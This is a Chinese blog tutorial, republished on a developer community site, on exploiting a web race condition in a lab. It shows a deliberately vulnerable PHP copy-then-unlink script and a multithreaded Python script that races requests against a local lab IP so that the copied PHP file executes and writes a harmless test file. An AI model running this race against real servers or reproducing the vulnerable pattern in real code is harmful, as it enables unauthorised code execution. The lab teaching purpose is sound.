Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >WEB条件竞争利用

WEB条件竞争利用

作者头像
Elapse
发布于 2020-08-17 03:12:59
发布于 2020-08-17 03:12:59
43500
代码可运行
举报
文章被收录于专栏:E条咸鱼E条咸鱼
运行总次数:0
代码可运行

类似前言一样的东西

条件竞争是真的好玩,佛了

解释

先上例子

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>

这是典型的条件竞争利用的点

正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除

那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了

具体的流程如下图 ↓

一目了然,小天才说的就是我吧

环境搭建

  • 靶机: CentOS6.5
  • PHP

首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境

Elapse.php和file.php的内容为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Elapse.php:

<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>
-----------优秀的分割线-----------

file.php:

<?php
$myfile = fopen("test.txt","w");
$txt = "ElapseNB\n";
fwrite($myfile,$txt);
?>

具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import threading

url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php'
url2 = 'http://192.168.1.111/myfile.php'

def filecreate(url):
    while True:
        try:
            requests.get(url)
        except:
            print("not find file")
def main():
    threads = []
    for e in range(10):
        t1 = threading.Thread(target=filecreate,args=(url1,))
        t2 = threading.Thread(target=filecreate,args=(url2,))
        threads.append(t1)
        threads.append(t2)
        t1.start()
        t2.start()
    print("Successful!")
if __name__ == '__main__':
    main()

创建两个线程,同时访问两个url 运行结果:

在服务器中可以看到多出来了一个文件,内容为ElapseNB

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-12-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
关于多线程的应用
最近在做一点爬虫相关的学习,爬可能比较简单,网上教材一箩筐,今天要掰扯的是关于批量下载的技能。
Ed_Frey
2019/07/04
4340
Web-高明的黑客
这题非常有意思,在拿去D盾扫描的时候,发现3002个文件里面,有2999个文件是危险文件
Elapse
2020/08/17
3890
Python 实现ARP扫描与欺骗
ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
王瑞MVP
2022/12/28
1.3K0
Python 实现ARP扫描与欺骗
Python多线程与多进程教程:全面解析、代码案例与优化技巧
多线程与多进程是Python中常用的并发编程实现方式,能够有效提高程序的执行效率。本文将系统介绍多线程与多进程的概念、使用场景以及相关知识点,并通过大量的代码案例进行演示。
全栈若城
2024/02/29
1.4K0
Python多线程与多进程教程:全面解析、代码案例与优化技巧
Python 一篇学会多线程「建议收藏」
多线程和多进程是什么自行google补脑,廖雪峰官网也有,但是不够简洁,有点晕,所以就整个简单的范例。
全栈程序员站长
2022/09/06
3350
一篇文章理清Python多线程之同步条件,信号量和队列
今天这篇文章大概介绍下python多线程中的同步条件Event,信号量(Semaphore)和队列(queue),这是我们多线程系列的最后一篇文章,以后将会进入python多进程的系列。
南山烟雨
2019/04/30
8500
一篇文章理清Python多线程之同步条件,信号量和队列
py基础---多线程、多进程、协程
线程是操作系统能够进行运算调度的最小单位,它被包含在进程之中,是进程中的实际运作单位,一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程中并发执行不同的任务。
py3study
2020/01/16
6560
py基础---多线程、多进程、协程
Python 多线程threading模
首先,我们在了解多线程时需要理解的就是什么是多线程,按照官方的解释就是:多线程(英语:multithreading),是指从软件或者硬件上实现多个线程并发执行的技术。
py3study
2020/01/08
4770
批量管理python脚本
新出炉的脚本, 有错的地方还望指出,谢谢。 #!/usr/bin/env python # -*- coding: utf-8 -*- # #  Syscloud Operation platform.py #  #  Copyright 2013 allan <allan@ALLAN-PC> #  #  This program is free software; you can redistribute it and/or modify # 
py3study
2020/01/08
8030
Python 实现Web隐藏目录扫描
Web隐藏目录扫描: 首先你需要自己寻找一个靠谱的字典,放入脚本根目录并命名为dict.log每行一个路径名称.
王瑞MVP
2022/12/28
6480
Python threading 并发编程
今日推荐:Spring AI再更新:如何借助全局参数实现智能数据库操作与个性化待办管理
繁依Fanyi
2024/11/11
1770
python多线程详解
②每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制。
全栈程序员站长
2022/09/06
1.5K0
python多线程详解
扫目录+N多代理IP绕过拦截
在渗透测试的时候,很担心平时在扫WEB目录的时候,频繁的请求会容易被封IP.被封IP以后.要么等上一段时间,要么更换自己的IP.重新启动扫描器.这样的效率很低下,也很浪费自己的工作时间.
洛米唯熊
2020/04/08
1.9K0
扫目录+N多代理IP绕过拦截
浅谈 SESSION_UPLOAD_PROGRESS 的利用
PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path。
亿人安全
2022/06/30
3.2K0
浅谈 SESSION_UPLOAD_PROGRESS 的利用
【python】python文件处理
1、读取txt文件 # 读取stu_info.txt文件内容,并将文件中所有学生名称显示出来 f = open('stu_info.txt', 'r') lines = f.readlines() print(lines) for line in lines: print(line.split(',')[0]) f.close()  2、CSV文件读写 ''' 读写csv文件,csv即为逗号分隔值(Comma-Separated Values,CSV), 有时也称为字符分隔值,其文件以
python亦希
2022/01/07
6940
python2 监控服务器资源
******************************内存监控********************************* *******************时间: 2019-08-24 16:50:20 ****************** 总内存: 65958920 空闲内存: 37296548 给文件的缓冲大小: 310288 高速缓冲存储器使用的大小: 8991808 被高速缓冲存储用的交换空间大小: 7160 给文件的缓冲大小: 310288 交换内存利用率: 4.35586183351 内存利用率: 29.35 % ****************************内核线程、虚拟内存、磁盘、陷阱和 CPU 活动的统计信息监控**************************** *******************时间: 2019-08-24 16:50:22 ****************** 等待运行进程的数量: 1 处于不间断状态的进程: 0 使用虚拟内存(swap)的总量: 365396 空闲的内存总量: 37298132 用作缓冲的内存总量: 310288 用作缓存的内存总量: 8991816 交换出内存总量 : 0 交换入内存总量 : 0 从一个块设备接收: 0 发送到块设备: 0 每秒的中断数: 9751 每秒的上下文切换数: 7514 用户空间上进程运行的时间百分比: 3 内核空间上进程运行的时间百分比: 2 闲置时间百分比: 95 等待IO的时间百分比: 0 从虚拟机偷取的时间百分比: 0 ***************************************cpu监控*************************************** *******************时间: 2019-08-24 16:50:23 ****************** CPU数目: 24 ************************负载均衡监控**************************** *******************时间: 2019-08-24 16:50:24 ****************** 系统5分钟前的平均负载: 0.16 系统10分钟前的平均负载: 0.08 系统15分钟前的平均负载: 0.06 分子是正在运行的进程数,分母为总进程数: 3/968 最近运行的进程id: 25222 ************************磁盘空间监控**************************** *******************时间: 2019-08-24 16:50:24 ****************** 文件系统: /dev/sda3 容量: 1.8T 已用: 133G 可用: 1.7T 已用%挂载点: 8% 文件系统: tmpfs 容量: 32G 已用: 12K 可用: 32G 已用%挂载点: 1% 文件系统: /dev/sda1 容量: 477M 已用: 57M 可用: 395M 已用%挂载点: 13% 文件系统: /dev/sdb1 容量: 440G 已用: 71M 可用: 436G 已用%挂载点: 1% ******************************端口监控********************************* *******************时间: 2019-08-24 16:50:25 ****************** 1 1 #################################################
用户5760343
2019/08/26
1.1K0
实战:简书爬取之多线程爬取(二)速度提升何止10倍
其次就是这样的代码往往会有很严重的竞争问题,需要很多的资源锁来保证线程安全,这样就拉低了程序执行的速度。
渔父歌
2018/09/26
8970
Python多线程并发的简单测试
之前也写了一些简单的Python程序,对于多线程的并发一直没有涉及,今天决定先突破一下,把这个部分的内容先快速的掌握,然后在这个基础上细化改进。 我的好友冰川擅长Python技术,所以就拿来主义,参考了他的文章-python基础16-并发编程(1) Python的程序性能一直受到诟病,但是功能,扩展性上还是具有很大的优势,程序中有一部分的概念就是并发,多线程相关的,所以我们也算是大跃进一下。 说到Python的性能,GIL是需要了解的,这是一个全局解释器锁,保证在同一时刻只有一个线程在运行,在保证
jeanron100
2018/03/22
1.4K0
命令执行漏洞-亿邮邮箱系统
来源:https://mp.weixin.qq.com/s/KDlSyDn7DWwnnFeDednk8g
MssnHarvey
2022/08/10
2.3K0
命令执行漏洞-亿邮邮箱系统
py3_cookbook_notes_03
并发编程 启动与停止线程 # Code to execute in an independent thread import time def countdown(n): while n > 0: print('T-minus', n) n -= 1 time.sleep(5) # Create and launch a thread from threading import Thread t = Thread(target=countdown,
jeremyxu
2018/05/10
9630
相关推荐
关于多线程的应用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验